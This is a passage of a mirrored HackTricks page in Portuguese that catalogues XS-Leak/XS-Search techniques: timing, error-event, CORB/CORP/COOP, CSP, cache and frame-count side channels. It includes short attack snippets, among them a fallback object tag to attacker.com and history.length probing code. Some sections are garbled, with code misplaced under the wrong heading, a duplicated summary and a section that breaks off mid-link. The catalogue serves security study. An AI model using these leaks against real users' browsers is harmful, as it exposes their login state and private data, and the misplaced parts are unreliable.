Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-20 18:14:15 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md

56 KiB
Raw Blame History

XS-Search/XS-Leaks

Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

XS-Search é um método usado para extrair informações de origens cruzadas aproveitando vulnerabilidades de canal lateral.

Os componentes-chave envolvidos nesse ataque incluem:

  • Web Vulnerável: O site de destino do qual as informações devem ser extraídas.
  • Web do Atacante: O site malicioso criado pelo atacante, que a vítima visita, hospedando o exploit.
  • Método de Inclusão: A técnica empregada para incorporar a Web Vulnerável na Web do Atacante (por exemplo, window.open, iframe, fetch, tag HTML com href, etc.).
  • Técnica de Vazamento: Técnicas usadas para discernir diferenças no estado da Web Vulnerável com base nas informações coletadas por meio do método de inclusão.
  • Estados: As duas condições potenciais da Web Vulnerável, que o atacante visa distinguir.
  • Diferenças Detectáveis: Variações observáveis nas quais o atacante se baseia para inferir o estado da Web Vulnerável.

Diferenças Detectáveis

Vários aspectos podem ser analisados para diferenciar os estados da Web Vulnerável:

  • Código de Status: Distinguindo entre vários códigos de status de resposta HTTP de origens cruzadas, como erros de servidor, erros de cliente ou erros de autenticação.
  • Uso de API: Identificando o uso de APIs da Web em páginas, revelando se uma página de origem cruzada emprega uma API da Web JavaScript específica.
  • Redirecionamentos: Detectando navegações para páginas diferentes, não apenas redirecionamentos HTTP, mas também aqueles acionados por JavaScript ou HTML.
  • Conteúdo da Página: Observando variações no corpo da resposta HTTP ou em sub-recursos da página, como o número de frames incorporados ou disparidades de tamanho em imagens.
  • Cabeçalho HTTP: Observando a presença ou possivelmente o valor de um cabeçalho de resposta HTTP específico, incluindo cabeçalhos como X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
  • Tempo: Observando disparidades de tempo consistentes entre os dois estados.

Métodos de Inclusão

  • Elementos HTML: O HTML oferece vários elementos para inclusão de recursos de origem cruzada, como folhas de estilo, imagens ou scripts, compelindo o navegador a solicitar um recurso não HTML. Uma compilação de elementos HTML potenciais para esse fim pode ser encontrada em https://github.com/cure53/HTTPLeaks.
  • Frames: Elementos como iframe, object e embed podem incorporar recursos HTML diretamente na página do atacante. Se a página não tiver proteção de enquadramento, o JavaScript pode acessar o objeto window do recurso emoldurado por meio da propriedade contentWindow.
  • Pop-ups: O método window.open abre um recurso em uma nova guia ou janela, fornecendo um identificador de janela para o JavaScript interagir com métodos e propriedades seguindo a SOP. Pop-ups, frequentemente usados em logins únicos, contornam as restrições de enquadramento e cookies de um recurso de destino. No entanto, os navegadores modernos restringem a criação de pop-ups a certas ações do usuário.
  • Requisições JavaScript: O JavaScript permite solicitações diretas a recursos de destino usando XMLHttpRequests ou a Fetch API. Esses métodos oferecem controle preciso sobre a solicitação, como optar por seguir redirecionamentos HTTP.

Técnicas de Vazamento

  • Manipulador de Eventos: Uma técnica de vazamento clássica em XS-Leaks, onde manipuladores de eventos como onload e onerror fornecem informações sobre o sucesso ou falha no carregamento do recurso.
  • Mensagens de Erro: Exceções JavaScript ou páginas de erro especiais podem fornecer informações de vazamento diretamente da mensagem de erro ou diferenciando entre sua presença e ausência.
  • Limites Globais: Limitações físicas de um navegador, como capacidade de memória ou outros limites impostos pelo navegador, podem sinalizar quando um limite é atingido, servindo como técnica de vazamento.
  • Estado Global: Interações detectáveis com os estados globais dos navegadores (por exemplo, a interface History) podem ser exploradas. Por exemplo, o número de entradas no histórico de um navegador pode oferecer pistas sobre páginas de origem cruzada.
  • API de Desempenho: Esta API fornece detalhes de desempenho da página atual, incluindo cronometragem de rede para o documento e recursos carregados, permitindo inferências sobre os recursos solicitados.
  • Atributos Legíveis: Alguns atributos HTML são legíveis de origem cruzada e podem ser usados como técnica de vazamento. Por exemplo, a propriedade window.frame.length permite que o JavaScript conte os frames incluídos em uma página da web de origem cruzada.

Ferramenta XSinator & Paper

XSinator é uma ferramenta automática para verificar navegadores contra vários XS-Leaks conhecidos explicados em seu paper: https://xsinator.com/paper.pdf

Você pode acessar a ferramenta em https://xsinator.com/

{% hint style="warning" %} XS-Leaks Excluídos: Tivemos que excluir XS-Leaks que dependem de service workers pois interfeririam com outros vazamentos no XSinator. Além disso, optamos por excluir XS-Leaks que dependem de configurações incorretas e bugs em um aplicativo web específico. Por exemplo, configurações incorretas de Compartilhamento de Recursos de Origem Cruzada (CORS), vazamento de postMessage ou Cross-Site Scripting. Adicionalmente, excluímos XS-Leaks baseados em tempo, pois frequentemente sofrem com lentidão, ruído e imprecisão. {% endhint %}


Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas Baseadas em Tempo

Algumas das seguintes técnicas vão usar o tempo como parte do processo para detectar diferenças nos possíveis estados das páginas da web. Existem diferentes maneiras de medir o tempo em um navegador da web.

Relógios: A API performance.now() permite que os desenvolvedores obtenham medições de tempo de alta resolução.
Há um número considerável de APIs que os atacantes podem abusar para criar relógios implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animações CSS e outros.
Para mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Técnicas de Manipulador de Eventos

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

O exemplo de código tenta carregar objetos de scripts de JS, mas outros tags como objetos, folhas de estilo, imagens, áudios também poderiam ser usados. Além disso, também é possível injetar a tag diretamente e declarar os eventos onload e onerror dentro da tag (em vez de injetá-la a partir do JS).

Há também uma versão sem script deste ataque:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Neste caso, se example.com/404 não for encontrado, attacker.com/?error será carregado.

Tempo de Carregamento

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Tempo de Carregamento + Tarefa Pesada Forçada

Essa técnica é semelhante à anterior, mas o atacante também irá forçar alguma ação a levar um tempo relevante quando a resposta for positiva ou negativa e medir esse tempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Tempo de descarregamento/beforeunload

O tempo necessário para buscar um recurso pode ser medido utilizando os eventos unload e beforeunload. O evento beforeunload é acionado quando o navegador está prestes a navegar para uma nova página, enquanto o evento unload ocorre quando a navegação está realmente acontecendo. A diferença de tempo entre esses dois eventos pode ser calculada para determinar a duração que o navegador passou buscando o recurso.

Tempo de Carregamento do Frame Isolado + onload

Observou-se que na ausência de Proteções de Enquadramento, o tempo necessário para que uma página e seus subrecursos sejam carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador onload de um iframe é acionado somente após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de script, um atacante pode empregar o atributo sandbox dentro do <iframe>. A inclusão desse atributo restringe inúmeras funcionalidades, especialmente a execução de JavaScript, facilitando assim uma medição que é predominantemente influenciada pelo desempenho da rede.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + erro + onload

  • Métodos de Inclusão: Frames
  • Diferença Detectável: Conteúdo da Página
  • Mais informações:
  • Resumo: Se você puder fazer a página apresentar erro quando o conteúdo correto é acessado e carregar corretamente quando qualquer conteúdo é acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
  • Exemplo de Código:

Suponha que você possa inserir a página que tem o conteúdo secreto dentro de um Iframe.

Você pode fazer a vítima pesquisar pelo arquivo que contém "flag" usando um Iframe (explorando um CSRF, por exemplo). Dentro do Iframe, você sabe que o evento onload será sempre executado pelo menos uma vez. Então, você pode alterar o URL do iframe mudando apenas o conteúdo do hash dentro do URL.

Por exemplo:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Se o primeiro URL foi carregado com sucesso, então, ao alterar a parte hash do URL, o evento onload não será acionado novamente. Mas se a página teve algum tipo de erro ao carregar, então, o evento onload será acionado novamente.

Dessa forma, você pode distinguir entre uma página carregada corretamente ou uma página que tem um erro ao ser acessada.

Execução de Javascript

  • Métodos de Inclusão: Frames
  • Diferença Detectável: Conteúdo da Página
  • Mais informações:
  • Resumo: Se a página está retornando o conteúdo sensível, ou um conteúdo que pode ser controlado pelo usuário. O usuário poderia definir código JS válido no caso negativo, e carregar cada tentativa dentro de <script> tags, então em casos negativos o código dos atacantes é executado, e em casos afirmativos nada será executado.
  • Exemplo de Código:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Métodos de Inclusão: Elementos HTML
  • Diferença Detectável: Código de Status e Cabeçalhos
  • Mais informações: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Resumo: Cross-Origin Read Blocking (CORB) é uma medida de segurança que impede que páginas da web carreguem determinados recursos sensíveis de origens cruzadas para se proteger contra ataques como Spectre. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao CORB retorna um Content-Type protegido pelo CORB com nosniff e um código de status 2xx, o CORB remove o corpo e os cabeçalhos da resposta. Os atacantes que observam isso podem inferir a combinação do código de status (indicando sucesso ou erro) e o Content-Type (denotando se é protegido pelo CORB), levando a um vazamento potencial de informações.
  • Exemplo de Código:

Verifique o link de mais informações para obter mais detalhes sobre o ataque.

onblur

É possível carregar uma página dentro de um iframe e usar o #id_value para fazer a página focar no elemento do iframe com o id indicado, então se um sinal onblur for acionado, o elemento ID existe.
Você pode realizar o mesmo ataque com tags portal.

Transmissões de postMessage

  • Métodos de Inclusão: Frames, Pop-ups
  • Diferença Detectável: Uso da API
  • Mais informações: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Resumo: Reunir informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página.
  • Exemplo de Código: Qualquer código ouvindo todos os postMessages.

Aplicações frequentemente utilizam transmissões de postMessage para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor informações sensíveis se o parâmetro targetOrigin não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um oráculo; por exemplo, certas mensagens podem ser enviadas apenas para usuários logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se estão autenticados ou não.

```javascript // Code saved here in case it dissapear from the link // Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/ window.addEventListener("load", startup, false); function displayErrorMessage(msg) { document.getElementById("log").innerHTML += msg; }

function startup() { let audioElement = document.getElementById("audio"); // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3"; document.getElementById("startTest").addEventListener("click", function() { audioElement.src = document.getElementById("testUrl").value; }, false); // Create the event handler var errHandler = function() { let err = this.error; let message = err.message; let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed" // Firefox error.message when the request loads successfully: "Failed to init decoder" if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){ status = "Success"; }else{ status = "Error"; } displayErrorMessage("Status: " + status + " (Error code:" + err.code + " / Error Message: " + err.message + ")
"); }; audioElement.onerror = errHandler; }

### Erro CORS

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumo:** Nas Declarações de Segurança (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Essa técnica permite a um atacante **extrair o destino de um redirecionamento de um site de origem cruzada** ao explorar como os navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma solicitação **habilitada para CORS** é enviada a um site de destino que emite um redirecionamento com base no estado do usuário e o navegador subsequentemente nega a solicitação, a **URL completa do destino do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que possa conter.

### Erro SRI

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumo:** Nas Declarações de Segurança (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
* **Exemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Um atacante pode explorar **mensagens de erro detalhadas** para deduzir o tamanho das respostas de origem cruzada. Isso é possível devido ao mecanismo de Integridade de Subrecursos (SRI), que usa o atributo de integridade para validar que os recursos buscados, frequentemente de CDNs, não foram adulterados. Para que o SRI funcione em recursos de origem cruzada, estes devem ser **habilitados para CORS**; caso contrário, não estão sujeitos a verificações de integridade. Nas Declarações de Segurança (SA), assim como no vazamento XS-Leak de erro CORS, uma mensagem de erro pode ser capturada após uma solicitação fetch com um atributo de integridade falhar. Os atacantes podem deliberadamente **desencadear esse erro** atribuindo um **valor de hash falso** ao atributo de integridade de qualquer solicitação. Nas SA, a mensagem de erro resultante revela inadvertidamente o comprimento do conteúdo do recurso solicitado. Essa divulgação de informações permite a um atacante discernir variações no tamanho da resposta, abrindo caminho para ataques sofisticados de XS-Leak.

### Violação/Detecção de CSP

* **Métodos de Inclusão**: Pop-ups
* **Diferença Detectável**: Código de Status
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Resumo:** Permitindo apenas o site da vítima no CSP, se tentarmos acessá-lo e ele redirecionar para um domínio diferente, o CSP acionará um erro detectável.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

Um XS-Leak pode usar o CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Esse vazamento pode detectar o redirecionamento, mas além disso, o domínio do destino do redirecionamento vaza. A ideia básica desse ataque é **permitir o domínio de destino no site do atacante**. Uma vez que uma solicitação é feita para o domínio de destino, ele **redireciona** para um domínio de origem cruzada. O CSP bloqueia o acesso a ele e cria um **relatório de violação usado como técnica de vazamento**. Dependendo do navegador, **esse relatório pode vazar a localização de destino do redirecionamento**.\
Navegadores modernos não indicarão a URL para a qual foi redirecionado, mas ainda é possível detectar que um redirecionamento de origem cruzada foi acionado.

### Cache

* **Métodos de Inclusão**: Frames, Pop-ups
* **Diferença Detectável**: Conteúdo da Página
* **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Resumo:** Limpe o arquivo do cache. Abra a página de destino e verifique se o arquivo está presente no cache.
* **Exemplo de Código:**

Os navegadores podem usar um cache compartilhado para todos os sites. Independentemente de sua origem, é possível deduzir se uma página de destino **solicitou um arquivo específico**.

Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode **invalidar** o **recurso** (para que não seja mais armazenado em cache, se estiver, veja mais informações nos links), **realizar uma solicitação** que poderia carregar esse recurso e tentar carregar o recurso **com uma solicitação inválida** (por exemplo, usando um cabeçalho de referência muito longo). Se o carregamento do recurso **não acionar nenhum erro**, é porque ele está **em cache**.

### Diretiva CSP

* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Resumo:** As diretivas de cabeçalho CSP podem ser sondadas usando o atributo iframe CSP, revelando detalhes da política.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Um recurso inovador no Google Chrome (GC) permite que páginas da web **proponham uma Política de Segurança de Conteúdo (CSP)** definindo um atributo em um elemento iframe, com diretivas de política transmitidas juntamente com a solicitação HTTP. Normalmente, o conteúdo incorporado deve **autorizar isso via um cabeçalho HTTP**, ou uma **página de erro é exibida**. No entanto, se o iframe já estiver sob uma CSP e a nova política proposta não for mais restritiva, a página será carregada normalmente. Esse mecanismo abre um caminho para um atacante **detectar diretivas CSP específicas** de uma página de origem cruzada identificando a página de erro. Embora essa vulnerabilidade tenha sido marcada como corrigida, nossas descobertas revelam uma **nova técnica de vazamento** capaz de detectar a página de erro, sugerindo que o problema subjacente nunca foi totalmente resolvido.

### **CORP**

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Resumo:** Recursos protegidos com a Política de Recursos de Origem Cruzada (CORP) gerarão um erro ao serem buscados de uma origem não permitida.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

O cabeçalho CORP é um recurso de segurança relativamente novo na plataforma web que, quando definido, **bloqueia solicitações de origem cruzada no-cors para o recurso fornecido**. A presença do cabeçalho pode ser detectada, pois um recurso protegido com CORP **gerará um erro ao ser buscado**.

### CORB

* **Métodos de Inclusão**: Elementos HTML
* **Diferença Detectável**: Cabeçalhos
* **Mais informações**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Resumo**: CORB pode permitir que os atacantes detectem quando o **cabeçalho `nosniff` está presente** na solicitação.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Verifique o link para mais informações sobre o ataque.

### Erro CORS na má configuração de Reflexão de Origem <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalhos
* **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Resumo**: Se o cabeçalho de Origem for refletido no cabeçalho `Access-Control-Allow-Origin`, é possível verificar se um recurso já está em cache.
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

Caso o **cabeçalho de Origem** seja **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** no modo **CORS**. Se um **erro não for acionado**, significa que ele foi **recuperado corretamente da web**; se um erro for **acionado**, é porque ele foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
Observe que se a origem não for refletida, mas um caractere curinga for usado (`Access-Control-Allow-Origin: *`), isso não funcionará.

## Técnica de Atributos Legíveis

### Redirecionamento Fetch

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Código de Status
* **Mais informações**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Resumo:** GC e SA permitem verificar o tipo de resposta (redirecionamento opaco) após o término do redirecionamento.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Ao enviar uma solicitação usando a Fetch API com `redirect: "manual"` e outros parâmetros, é possível ler o atributo `response.type` e, se for igual a `opaqueredirect`, então a resposta foi um redirecionamento.

### COOP

* **Métodos de Inclusão**: Pop-ups
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Resumo:** Páginas protegidas pela Política de Origem Cruzada do Opener (COOP) impedem o acesso de interações de origem cruzada.
* **Exemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Um atacante é capaz de deduzir a presença do cabeçalho Política de Origem Cruzada do Opener (COOP) em uma resposta HTTP de origem cruzada. O COOP é utilizado por aplicativos da web para impedir que sites externos obtenham referências de janela arbitrárias. A visibilidade desse cabeçalho pode ser discernida ao tentar acessar a **referência `contentWindow`**. Em cenários em que o COOP é aplicado condicionalmente, a **propriedade `opener`** se torna um indicador revelador: ela é **indefinida** quando o COOP está ativo e **definida** em sua ausência.

### Comprimento Máximo de URL - Lado do Servidor

* **Métodos de Inclusão**: Fetch API, Elementos HTML
* **Diferença Detectável**: Código de Status / Conteúdo
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Resumo:** Detectar diferenças nas respostas devido ao comprimento da resposta de redirecionamento pode ser muito grande, fazendo com que o servidor responda com um erro e gere um alerta.
* **Exemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Se um redirecionamento do lado do servidor usa **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente os **servidores** têm um **limite de comprimento de solicitação**. Se os **dados do usuário** tiverem esse **comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, ele acionará um **erro detectável por meio de Eventos de Erro**.

Se você conseguir definir cookies para um usuário, também pode realizar esse ataque **definindo cookies suficientes** ([**cookie bomba**](hacking-with-cookies/cookie-bomb.md)) para que, com o **aumento do tamanho da resposta correto**, um **erro** seja acionado. Nesse caso, lembre-se de que se você acionar essa solicitação de um mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar os erros).\
Um exemplo do **cookie bomba + XS-Search** pode ser encontrado na solução pretendida deste artigo: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` ou estar no mesmo contexto geralmente é necessário para esse tipo de ataque.

### Comprimento Máximo de URL - Lado do Cliente

* **Métodos de Inclusão**: Pop-ups
* **Diferença Detectável**: Código de Status / Conteúdo
* **Mais informações**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Resumo:** Detectar diferenças nas respostas devido ao comprimento da resposta de redirecionamento pode ser muito grande para uma solicitação, de modo que uma diferença possa ser notada.
* **Exemplo de Código**: [https://ctf
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Contagem de Frames

Contar o número de frames em um site aberto via iframe ou window.open pode ajudar a identificar o status do usuário sobre essa página.
Além disso, se a página sempre tiver o mesmo número de frames, verificar continuamente o número de frames pode ajudar a identificar um padrão que pode vazar informações.

Um exemplo dessa técnica é que no Chrome, um PDF pode ser detectado com a contagem de frames porque um embed é usado internamente. Existem Parâmetros de URL Abertos que permitem algum controle sobre o conteúdo, como zoom, view, page, toolbar, onde essa técnica poderia ser interessante.

HTMLElements

Vazamento de informações por meio de elementos HTML é uma preocupação na segurança da web, especialmente quando arquivos de mídia dinâmicos são gerados com base em informações do usuário, ou quando marcas d'água são adicionadas, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre possíveis estados, analisando as informações expostas por certos elementos HTML.

Informações Expostas por Elementos HTML

  • HTMLMediaElement: Este elemento revela os tempos de duração e buffered da mídia, que podem ser acessados por meio de sua API. Leia mais sobre HTMLMediaElement
  • HTMLVideoElement: Ele expõe videoHeight e videoWidth. Em alguns navegadores, propriedades adicionais como webkitVideoDecodedByteCount, webkitAudioDecodedByteCount e webkitDecodedFrameCount estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. Leia mais sobre HTMLVideoElement
  • getVideoPlaybackQuality(): Esta função fornece detalhes sobre a qualidade de reprodução de vídeo, incluindo totalVideoFrames, que pode indicar a quantidade de dados de vídeo processados. Leia mais sobre getVideoPlaybackQuality()
  • HTMLImageElement: Este elemento vaza a altura e largura de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função image.decode() será rejeitada, indicando a falha ao carregar a imagem corretamente. Leia mais sobre HTMLImageElement

Propriedade CSS

Aplicações web podem alterar o estilo do site dependendo do status do usuário. Arquivos CSS de origens cruzadas podem ser incorporados na página do atacante com o elemento de link HTML, e as regras serão aplicadas à página do atacante. Se uma página altera dinamicamente essas regras, um atacante pode detectar essas diferenças dependendo do estado do usuário.
Como técnica de vazamento, o atacante pode usar o método window.getComputedStyle para ler propriedades CSS de um elemento HTML específico. Como resultado, um atacante pode ler propriedades CSS arbitrárias se o elemento afetado e o nome da propriedade forem conhecidos.

Histórico CSS

{% hint style="info" %} De acordo com este, isso não funciona no Chrome headless. {% endhint %}

O seletor CSS :visited é utilizado para estilizar URLs de forma diferente se elas foram visitadas anteriormente pelo usuário. No passado, o método getComputedStyle() poderia ser usado para identificar essas diferenças de estilo. No entanto, os navegadores modernos implementaram medidas de segurança para evitar que esse método revele o estado de um link. Essas medidas incluem sempre retornar o estilo calculado como se o link fosse visitado e restringir os estilos que podem ser aplicados com o seletor :visited.

Apesar dessas restrições, é possível discernir indiretamente o estado visitado de um link. Uma técnica envolve enganar o usuário para interagir com uma área afetada pelo CSS, especificamente utilizando a propriedade mix-blend-mode. Essa propriedade permite a mistura de elementos com seu plano de fundo, potencialmente revelando o estado visitado com base na interação do usuário.

Além disso, a detecção pode ser alcançada sem interação do usuário, explorando os tempos de renderização de links. Como os navegadores podem renderizar links visitados e não visitados de forma diferente, isso pode introduzir uma diferença de tempo mensurável na renderização. Um exemplo de prova de conceito (PoC) foi mencionado em um relatório de bug do Chromium, demonstrando essa técnica usando vários links para amplificar a diferença de tempo, tornando assim o estado visitado detectável por meio de análise de tempo.

Para mais detalhes sobre essas propriedades e métodos, visite suas páginas de documentação:

Vazamento de X-Frame do ContentDocument

No Chrome, se uma página com o cabeçalho X-Frame-Options definido como "deny" ou "same-origin" for incorporada como um objeto, uma página de erro aparecerá. O Chrome retorna exclusivamente um objeto de documento vazio (em vez de null) para a propriedade contentDocument desse objeto, ao contrário de iframes ou outros navegadores. Os atacantes poderiam explorar isso detectando o documento vazio, potencialmente revelando informações sobre o estado do usuário, especialmente se os desenvolvedores definirem inconsistentemente o cabeçalho X-Frame-Options, muitas vezes ignorando páginas de erro. A conscientização e a aplicação consistente de cabeçalhos de segurança são cruciais para evitar vazamentos desse tipo.

Detecção de Download

O cabeçalho Content-Disposition, especificamente Content-Disposition: attachment, instrui o navegador a baixar o conteúdo em vez de exibi-lo inline. Esse comportamento pode ser explorado para detectar se um usuário tem acesso a uma página que aciona um download de arquivo. Nos navegadores baseados em Chromium, existem algumas técnicas para detectar esse comportamento de download:

  1. Monitoramento da Barra de Download:
  • Quando um arquivo é baixado em navegadores baseados em Chromium, uma barra de download aparece na parte inferior da janela do navegador.
  • Monitorando as alterações na altura da janela, os atacantes podem inferir a aparição da barra de download, sugerindo que um download foi iniciado.
  1. Navegação de Download com Iframes:
  • Quando uma página aciona um download de arquivo usando o cabeçalho Content-Disposition: attachment, isso não causa um evento de navegação.
  • Carregando o conteúdo em um iframe e monitorando os eventos de navegação, é possível verificar se a disposição de conteúdo causa um download de arquivo (sem navegação) ou não.
  1. Navegação de Download sem Iframes:
  • Semelhante à técnica de iframe, esse método envolve o uso de window.open em vez de um iframe.
  • Monitorando os eventos de navegação na janela recém-aberta, é possível revelar se um download de arquivo foi acionado (sem navegação) ou se o conteúdo é exibido inline (ocorre navegação).

Em cenários em que apenas usuários logados podem acionar esses downloads, essas técnicas podem ser usadas para inferir indiretamente o estado de autenticação do usuário com base na resposta do navegador à solicitação de download.

Bypass de Cache HTTP Particionada

